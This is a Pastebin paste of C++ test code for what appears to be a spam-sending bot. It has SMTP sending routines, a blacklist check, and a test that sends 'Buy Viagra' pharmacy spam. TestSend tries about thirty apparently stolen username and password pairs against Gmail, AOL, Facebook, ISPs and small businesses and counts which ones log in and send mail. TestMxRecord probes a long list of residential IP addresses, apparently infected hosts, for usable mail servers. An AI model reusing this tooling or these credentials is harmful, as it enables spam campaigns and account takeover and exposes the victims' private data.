Advertisement
Ghostriax-Atrocity

Tests.cpp

Apr 11th, 2015
622
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.62 KB | None | 0 0
  1. #include "stdafx.h"
  2. #include "tests.h"
  3.  
  4. void TestSMTPErrors()
  5. {
  6. #define ATTACHMENT 1
  7. #define HTML 1
  8. #define BAD_CONTENT 0
  9. /*
  10. RCPT TO:<andreas.jacks@labmed.ki.se>
  11. 554 5.7.1 Service unavailable; Client host [hiding.my.ip.sorry] blocked using rkxxxxxxxxxxxxxxxxxxxxxje.zen.dq.spamhaus.net; http://www.spamhaus.org/query/bl?ip=hiding.my.ip.sorry
  12. --
  13. MAIL FROM:<info@irubybestclub.com>
  14. 550 DY-001 (SNT0-MC4-F41) Unfortunately, messages from hiding.my.ip.sorry weren't sent. Please contact your Internet service provider. You can tell them that Hotmail does not relay dynamically-assigned IP ranges. You can also refer your provider to http://mail.live.com/mail/troubleshooting.aspx#errors.
  15. ---
  16. RCPT TO:<bombproof@emirates.net.ae>
  17. 554 5.7.1 Blocked by Reputation Enabled Defense: The Ip address is blacklisted, for inquiry please e-mail: abuse@eim.ae or visit http://bsn.borderware.com/lookup?ip=hiding.my.ip.sorry&u=89xxxxxxxxxxda52&d=4c8xxxxxxxxxxx2
  18. ---
  19.  
  20. */
  21. SMTP smtp;
  22. #if 1
  23. smtp.connect("localhost", "[127.0.0.1]", false);
  24. #else
  25. smtp.connect("mx-ha02.web.de", "[127.0.0.1]", false);
  26. #endif
  27. if(!smtp.is_connected())
  28. {
  29. // Err: 2 Stat: 1 Errorcode: "500 Permission denied (Not authorized by POP3)"
  30. /*
  31. Microb -
  32. "554-web.de (mxweb105) Nemesis ESMTP Service not available
  33. 554-No SMTP service
  34. 554-IP address is black listed.
  35. 554 For explanation visit http://postmaster.web.de/error-messages?ip=hiding.my.ip.sorry"
  36. */
  37. /*
  38. facebook:
  39. 554 5.7.1 POL-P1 http://spamhaus.org/query/bl?ip=...
  40. */
  41. printf("After sending with bad content. Err: %i. Stat: %i\n", smtp.get_error(), smtp.get_status());
  42. return;
  43. }
  44. #if 0
  45. // Err: 6 Stat: 3
  46. smtp.authenticate("not_a_user", "ad");
  47. printf("Wrong creds. Err: %i. Stat: %i\n", smtp.GetError(), smtp.GetStatus());
  48. #endif
  49. #if 0
  50. // Err: X Stat: X
  51. smtp.send_command("DATA\r\n");
  52. printf("After DATA out of order. Err: %i. Stat: %i\n", smtp.GetError(), smtp.GetStatus());
  53. #endif
  54.  
  55. #if 0
  56. /*RCPT TO:<bombotha@uptownprimary.ae>
  57. 550 5.1.1 <bombotha@uptownprimary.ae>... User unknown*/
  58. // Err: 10 Stat: 5 Errorcode: "550 Address <a@localhost> not known here."
  59. smtp.AddAddress("a@localhost", smtp.TO);
  60. // Err: 10 Stat: 5 Errorcode: "553 We do not relay without RFC2554 Auth."
  61. // Err: 10 Stat: 5 Errorcode: "550 Permission denied for relaying "
  62. smtp.AddAddress("admin@ende.de", smtp.TO);
  63.  
  64. // Err: 0 Stat: 7 Errc: "555 Message rejected: site policy requires all mail to have a 'Date' field"
  65. #endif
  66. SMTP::Address addr;
  67. addr.a = "test@localhost";
  68. // addr.friendlyName = "My dear friend";
  69. // addr.a = "newuser@localhost";
  70. // addr.a = "newuser@system.mail"; // WinWebMail
  71. // addr.a = "test@gmail.com";
  72. smtp.add_address(addr, smtp.TO);
  73.  
  74. //[6256] <506 failed MAIL FROM verification with the authentication data.
  75. // addr.a = "bill.gates@microsoft.com";
  76. addr.friendlyName = "Your dear friend";
  77. smtp.add_address(addr, smtp.FROM);
  78.  
  79. #if ATTACHMENT
  80. HANDLE f = CreateFile(TEXT("C:\\xampp\\htdocs\\Pharmacy\\app\\webroot\\img\\header\\logo.png"), GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  81. if(NULL == f || INVALID_HANDLE_VALUE == f)
  82. return;
  83. DWORD size = GetFileSize(f, NULL), read;
  84. unsigned char* content = new unsigned char[size];
  85. ReadFile(f, content, size, &read, NULL);
  86. CloseHandle(f);
  87.  
  88. smtp.add_attachment(content, size, "logo.png", "image/png");
  89. delete[] content;
  90. #endif
  91.  
  92. #if BAD_CONTENT
  93. // Mercury drops connection when subject = "%viagra%" -> Err: 14 Stat: 7
  94. smtp.set_subject("Buy Viagra");
  95. smtp.set_message("Buy viagra.");
  96. #if HTML
  97. smtp.set_HTML_message("<a href=\"http://zief.pl/store/\">Canadian Pharmacy</a>");
  98. #endif
  99. smtp.send();
  100. #else
  101. std::string tmp;
  102. add_int_to_string(tmp, GetTickCount());
  103. smtp.set_subject(tmp);
  104. smtp.set_message("Totally legit, unsuspcious content");
  105. #if HTML
  106. smtp.set_HTML_message("<a href=\"http://google.com/\">Cool search engien</a>");
  107. #endif
  108. smtp.send();
  109. #endif
  110. printf("After sending with bad content. Err: %i. Stat: %i\n", smtp.get_error(), smtp.get_status());
  111. }
  112.  
  113. void TestBlacklist()
  114. {
  115. char ownIP[16] = {0};
  116. //get_public_IP(ownIP);
  117.  
  118. strncpy_s(ownIP, 16, "68.235.35.131", 15);
  119.  
  120. RBL* rbl = new RBL();
  121. if(rbl->check(ownIP))
  122. printf("In some kind of blacklist\n");
  123. }
  124.  
  125. void TestSMTPS(std::string server)
  126. {
  127. SMTP smtp;
  128. char localIP[IP4_ADDRESS_STRING_BUFFER_LENGTH + 2] = {0}; // 2 == strlen("[]")
  129.  
  130. get_HELO_name(localIP);
  131.  
  132. smtp.connect(server, localIP, false);
  133. if(!smtp.is_connected())
  134. return;
  135. if(!smtp.is_TLS_possible())
  136. return;
  137.  
  138. puts("Ready for SSL");
  139.  
  140. if(!smtp.switch_to_TLS())
  141. puts("Couldn't switch");
  142. }
  143.  
  144. enum TESTSEND_ENUM
  145. {
  146. SENT = 0,
  147. LOGIN_SUCCESS = 1,
  148. LOGIN_POSSIBLE = 2,
  149. SERVER_FOUND = 3,
  150. SERVER_SUCKS = 4
  151. };
  152. int TestSendHelper(std::string server, std::string user, std::string password)
  153. {
  154. SMTP smtp;
  155. char localIP[IP4_ADDRESS_STRING_BUFFER_LENGTH + 2] = {0}; // 2 == strlen("[]")
  156. std::vector<MX_Information> mxServers;
  157. std::string subDomains[] = {
  158. std::string(""),
  159. std::string("smtp."),
  160. std::string("mail."),
  161. std::string("smtp.mail."),
  162. std::string("securesmtp."),
  163. std::string("mx."), };
  164.  
  165. // To make the relation debug message <=> socket operation more clear
  166. OutputDebugStringA(server.c_str());
  167.  
  168. get_HELO_name(localIP);
  169.  
  170. // Connect Original, smtp., mail., mx servers
  171. for(unsigned int i = 0; i < _countof(subDomains); i++)
  172. {
  173. if(smtp.connect(subDomains[i] + server, localIP, true))
  174. break;
  175. if(smtp.connect(subDomains[i] + server, localIP, false))
  176. break;
  177. }
  178.  
  179. // Last Measure: Try the MX servers
  180. if(!smtp.is_connected())
  181. {
  182. if(!GetMXServers(server, mxServers))
  183. return SERVER_SUCKS;
  184.  
  185. if(!smtp.connect(mxServers, localIP, false))
  186. return SERVER_SUCKS;
  187. }
  188.  
  189. smtp.print_supported_functions();
  190.  
  191. // If authentication isn't available switch to encrypted Connection
  192. if(!smtp.is_login_possible())
  193. {
  194. if(!smtp.is_TLS_possible())
  195. return SERVER_FOUND;
  196.  
  197. if(!smtp.switch_to_TLS())
  198. return SERVER_FOUND;
  199.  
  200. if(!smtp.is_login_possible())
  201. return SERVER_FOUND;
  202. }
  203.  
  204. smtp.print_supported_functions();
  205.  
  206. if(!smtp.authenticate(user, password))
  207. {
  208. printf("Can't login: %s %s", smtp.get_reply_code(), smtp.get_reply_message());
  209. return LOGIN_POSSIBLE;
  210. }
  211.  
  212. SMTP::Address addr;
  213. addr.a = "test@gmail.com";
  214. smtp.add_address(addr, smtp.TO);
  215. addr.a = (std::string::npos == user.find("@") ? (user + "@" + server) : user);
  216. smtp.add_address(addr, smtp.FROM);
  217. smtp.set_subject("Testmail #2");
  218. smtp.set_message("This is another automatically generated test mail\nPlease do reply -- just kidding");
  219. bool sentSuccess = smtp.send();
  220.  
  221. if(!sentSuccess)
  222. {
  223. printf("%i:%i. %s %s\n", smtp.get_error(), smtp.get_status(), smtp.get_reply_code(), smtp.get_reply_message());
  224. }
  225.  
  226. return (sentSuccess ? SENT : LOGIN_SUCCESS);
  227. }
  228.  
  229.  
  230. void TestSend()
  231. {
  232. //#define SKIP
  233. const char* credentials[][3] = {
  234. // Freemail providers
  235. #ifndef SKIP
  236. {"gmail.com", "a", "sbawks123456"},
  237. {"smtp.gmail.com", "a", "02121984"},
  238. {"aol.com", "a", "Deninho"},
  239. {"live.com", "a@hotmail.com", "lairenita1"},
  240. {"web.de", "a@web.de", "24121996"},
  241. {"mail.ru", "a@mail.ru", "272614m"},
  242. {"lycos.com", "a", "fkosdksdosd"},
  243. {"yahoo.co.uk", "a", "230203241107"},
  244. #endif
  245. {"latinmail.com", "a", "dsksd$)%"},
  246. {"qq.com", "a", "aaaaaa"},
  247. {"india.com", "a", "fkldf0%$()="},
  248. {"rambler.ru", "aaaaaa", "Complex123"},
  249.  
  250. // ISP
  251. #ifndef SKIP
  252. {"orange.fr", "a@orange.fr", "6heyt9w"},
  253. {"mail.t-online.hu", "a", "A44XTae4tm"},
  254. {"biglobe.ne.jp", "a@bma.biglobe.ne.jp", "scde7r8e"},
  255. {"home.nl", "a", "screen50"},
  256. {"arcor.de", "a", "dfjkldfsdkg054"},
  257. {"comcast.net", "a", "test"},
  258. {"t-online.de", "a", "test"},
  259. #endif
  260. {"btinternet.com", "a", "test"},
  261. {"verizon.com", "a", "test"},
  262. {"o2.de", "a", "test"},
  263.  
  264. // Other shit
  265. {"facebook.com", "a", "palm0609"},
  266. {"guitar.ocn.ne.jp", "a", "masako0"},
  267. {"thebartonfamily.co.uk", "a@talktalk.net", "ribange"},
  268. {"albatrossthai.com", "a", "#S3Q5H2#"},
  269. #ifndef SKIP
  270. {"beacontex.com", "a@beacontex.com", "12345-8633000"},
  271. #endif
  272. };
  273. int sent = 0,
  274. workingCredentials = 0,
  275. serversWithLoginFunc = 0,
  276. connectedSuccessfully = 0;
  277.  
  278. for(unsigned int i = 0; i < _countof(credentials); i++)
  279. {
  280. int temp = TestSendHelper(credentials[i][0], credentials[i][1], credentials[i][2]);
  281. printf("%i <== %s:%s@%s\n", temp, credentials[i][1], credentials[i][2], credentials[i][0]);
  282.  
  283. switch(temp)
  284. {
  285. case SENT:
  286. sent++;
  287. case LOGIN_SUCCESS:
  288. workingCredentials++;
  289. case LOGIN_POSSIBLE:
  290. serversWithLoginFunc++;
  291. case SERVER_FOUND:
  292. connectedSuccessfully++;
  293. break;
  294. }
  295. }
  296.  
  297. printf("Found: %f\n"
  298. "Login possible: %f\n"
  299. "Login succes: %f\n"
  300. "Sent: %f\n",
  301.  
  302. ((float)connectedSuccessfully / (float)_countof(credentials)),
  303. ((float)serversWithLoginFunc / (float)_countof(credentials)),
  304. ((float)workingCredentials / (float)_countof(credentials)),
  305. ((float)sent / (float)_countof(credentials)));
  306. }
  307.  
  308. int TestMxRecordConnectWithAuth(std::vector<MX_Information> mxServers)
  309. {
  310. SMTP smtp;
  311. if(smtp.connect(mxServers, "[127.0.0.1]", true))
  312. return 0;
  313. return 1;
  314. }
  315.  
  316. int TestMxRecordConnectWithoutAuth(std::vector<MX_Information> mxServers)
  317. {
  318. SMTP smtp;
  319. if(smtp.connect(mxServers, "[127.0.0.1]", false))
  320. return 1;
  321. return 0;
  322. }
  323.  
  324. // Runs longer than 5min 12sec
  325. void TestMxRecord()
  326. {
  327. const char* address[] = {
  328. "8.35.201.114", // Virustotal
  329. "156.33.241.5", // US Goverment
  330. "46.115.114.168", // E-Plus Cellphone Internet
  331. "115.69.254.225",
  332. "c-65-34-208-5.hsd1.fl.comcast.net",
  333. "d72-39-140-144.home1.cgocable.net",
  334. "75-171-211-203.hlrn.qwest.net",
  335. "cpe-76-176-6-114.san.res.rr.com",
  336. "78.182.186.76.dynamic.ttnet.com.tr",
  337. "spr57-1-78-222-164-204.fbx.proxad.net",
  338. "79-112-127-121.iasi.fiberlink.ro",
  339. "79-113-243-123.rdsnet.ro",
  340. "athedsl-374630.home.otenet.gr",
  341. "80.85.116.247",
  342. "97.80-203-109.nextgentel.com",
  343. "mas91-1-82-238-220-55.fbx.proxad.net",
  344. "205.84-49-113.nextgentel.com",
  345. "546AF74A.cm-12-3d.dynamic.ziggo.nl",
  346. "bzq-84-109-215-126.red.bezeqint.net",
  347. "84.126.53.114.dyn.user.ono.com",
  348. "85-89-31.11.3p.ntebredband.no",
  349. "ti0020a380-dhcp0769.bb.online.no",
  350. "85-220-20-210.dsl.dynamic.simnet.is",
  351. "bl7-28-21.dsl.telepac.pt",
  352. "bl10-62-182.dsl.telepac.pt",
  353. "bl13-32-50.dsl.telepac.pt",
  354. "cpc5-stok15-2-0-cust153.1-4.cable.virginmedia.com",
  355. "host86-163-166-134.range86-163.btcentralplus.com",
  356. "87.69.205.190",
  357. "89-72-74-184.dynamic.chello.pl",
  358. "ip-89-176-3-108.net.upcbroadband.cz",
  359. "ip-89-176-18-86.net.upcbroadband.cz",
  360. "bba791324.alshamil.net.ae",
  361. "cpc2-dals19-2-0-cust577.hari.cable.virginmedia.com",
  362. "95.57.54.75",
  363. "96.53.191.237",
  364. "pool-96-233-102-233.bstnma.fios.verizon.net",
  365. "109.64.214.62",
  366. "188-173-152-170.next-gen.ro",
  367. "59.95.14.193",
  368. "70-59-42-212.hlrn.qwest.net",
  369. "120.149.22.185",
  370. "177.159.11.228.dynamic.adsl.gvt.net.br",
  371. "178.192.46.219",
  372. "84.132.90.159",
  373. "c-89-233-207-234.cust.bredband2.com",
  374. "88.236.127.10.dynamic.ttnet.com.tr",
  375. "46-129-122-50.dynamic.upc.nl",
  376. "d154-20-26-194.bchsia.telus.net",
  377. "217.94.43.1",
  378. "189.51.155.66",
  379. "201.42.166.100",
  380. "72.131.95.33",
  381. "82.208.2.237",
  382. "77.74.36.17",
  383. "92.241.190.253",
  384. "212.204.176.126",
  385. "89.97.145.112",
  386. "modemcable006.144-179-173.mc.videotron.ca",
  387. "173.237.117.193",
  388. "174.48.115.21",
  389. "174.49.241.248",
  390. "174.57.227.136",
  391. "174.60.217.233",
  392. "CPE1859334715cf-CM1859334715cc.cpe.net.cable.rogers.com",
  393. "174.125.205.38",
  394. "175.136.107.218",
  395. "175.139.127.67",
  396. "175.213.202.225",
  397. "176.25.0.163",
  398. "176.27.20.129",
  399. "adsl-78.176.58.205.tellas.gr",
  400. "208.28.ftth.classcom.pl",
  401. "176.250.173.130",
  402. "176.253.139.206",
  403. "b0ff4da6.bb.sky.com",
  404. "176.255.92.226",
  405. "177.5.57.218",
  406. "177.18.54.151",
  407. "177.42.111.238",
  408. "177.96.149.234",
  409. "177.98.20.dynamic.adsl.gvt.net.br",
  410. "177.98.141.218",
  411. "178.36.43.60",
  412. "178.59.94.206",
  413. "178-85-44-28.dynamic.upc.nl",
  414. "178.128.93.32",
  415. "178.148.174.105",
  416. "178.148.184.65",
  417. "178.148.245.19",
  418. "28-208.194-178.cust.bluewin.ch",
  419. "178-221-3-255.dynamic.isp.telekom.rs",
  420. "179.236.104.135",
  421. "184.175.21.132",
  422. "109.247.127.146",
  423. "121.44.59.5",
  424. "121.217.76.41",
  425. "123.243.99.146",
  426. "124.148.177.48",
  427. "128.69.189.137",
  428. "130.234.176.202",
  429. "142.197.248.204",
  430. "173.246.4.225",
  431. "173.246.18.10",
  432. "174.24.98.4",
  433. "174.45.184.211",
  434. "174.54.169.160",
  435. "174.68.69.134",
  436. "174.118.28.249",
  437. "175.142.185.156",
  438. "175.143.133.205",
  439. "176.250.28.182",
  440. "177.134.66.4",
  441. "178.33.62.49",
  442. "178.128.183.34",
  443. "180.17.44.154",
  444. "180.200.179.92",
  445. "184.66.19.173",
  446. "184.96.169.181",
  447. "187.36.22.100",
  448. "187.241.220.134",
  449. "190.245.152.117",
  450. "197.162.62.43",
  451. "209.29.24.254",
  452. "213.57.192.154",
  453. "213.103.191.95",
  454. "216.118.133.17",
  455. "217.120.226.250",
  456. "47.64.159.147",
  457. "96.126.107.60",
  458. "184.106.55.74",
  459. "5.70.192.175",
  460. "177.18.180.185",
  461. "41.133.40.80",
  462. "111.186.108.77", // Shanghai uni
  463. "77.108.186.111",
  464. "186.137.248.206",
  465. "88.152.254.33"
  466. };
  467. std::vector<MX_Information> mxServers;
  468. unsigned int mxServersFound = 0,
  469. connectedSuccessfullyWithAuth = 0,
  470. connectedSuccessfullyWithoutAuth = 0;
  471.  
  472. if(GetOwnMXServers(mxServers))
  473. printf("%40s ==> %s\n", "Oh look it is me", mxServers.at(0).name.c_str());
  474.  
  475. for(int i = 0; i < _countof(address); i++)
  476. {
  477. mxServers.clear();
  478. if(!GetMXServers(address[i], mxServers))
  479. {
  480. continue;
  481. }
  482. mxServersFound++;
  483. printf("%40s ==> %s\n", address[i], mxServers.at(0).name.c_str());
  484.  
  485. connectedSuccessfullyWithoutAuth += TestMxRecordConnectWithoutAuth(mxServers);
  486. connectedSuccessfullyWithAuth += TestMxRecordConnectWithAuth(mxServers);
  487. }
  488.  
  489. printf("%i IPs\n"
  490. "%f had a MX\n"
  491. "%f could be connected to (with auth)\n"
  492. "%f could be connected to (without auth)\n",
  493.  
  494. _countof(address),
  495. ((float)mxServersFound / (float)_countof(address)),
  496. ((float)connectedSuccessfullyWithAuth / (float)mxServersFound),
  497. ((float)connectedSuccessfullyWithoutAuth / (float)mxServersFound));
  498. }
  499.  
  500. void TestSSLSocket()
  501. {
  502. SSLSocket s;
  503. const char* httpData = "GET / HTTP/1.0\r\n\r\n";
  504. char buf[1024] = {0};
  505. unsigned int len = _countof(buf) - 1;
  506.  
  507. s.Connect("google.com", 443);
  508. s.Send(httpData);
  509.  
  510. s.RecvLine(buf, len, _countof(buf)-1);
  511. printf("First line: %s\n", buf);
  512.  
  513. len = _countof(buf) - 1;
  514. s.Recv(buf, len);
  515. printf("Rest: %s\n", buf);
  516. }
  517.  
  518. void TestSocketTypeSwitch()
  519. {
  520. char buffer[256] = {0};
  521. size_t len = _countof(buffer) - 1;
  522. const char* httpData = "GET / HTTP/1.0\r\n\r\n";
  523. const char* server = "google.com";
  524.  
  525. AbstractSocket* s = new NormalSocket();
  526.  
  527. s->SetTimeout(SMTP_CONNECT_TIMEOUT);
  528. if(!s->Connect(server, 443))
  529. {
  530. printf("Cannot connect\n");
  531. return;
  532. }
  533.  
  534. SOCKET orig_socket = s->GetSocket();
  535. delete s;
  536.  
  537. SSLSocket* ssls = NULL;
  538. s = ssls = new SSLSocket();
  539. s->Disconnect(); // Free new created socket
  540. s->SetSocket(orig_socket);
  541. ssls->StartSSL(server);
  542.  
  543. s->Send(httpData);
  544. s->Recv(buffer, len);
  545.  
  546. printf("%s", buffer);
  547. }
  548. void TestSocket()
  549. {
  550. NormalSocket s;
  551. const char* httpData = "GET /flush.php HTTP/1.1\r\nHost: localhost\r\n\r\n";
  552. char buf[1024] = {0};
  553. unsigned int len = _countof(buf) - 1;
  554.  
  555. s.Connect("localhost", 80);
  556. s.Send(httpData);
  557.  
  558. s.RecvLine(buf, len, _countof(buf)-1);
  559. printf("First line: %s\n", buf);
  560.  
  561. do
  562. {
  563. len = _countof(buf) - 1;
  564. s.Recv(buf, len);
  565. printf("%s", buf);
  566. }while(len);
  567. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement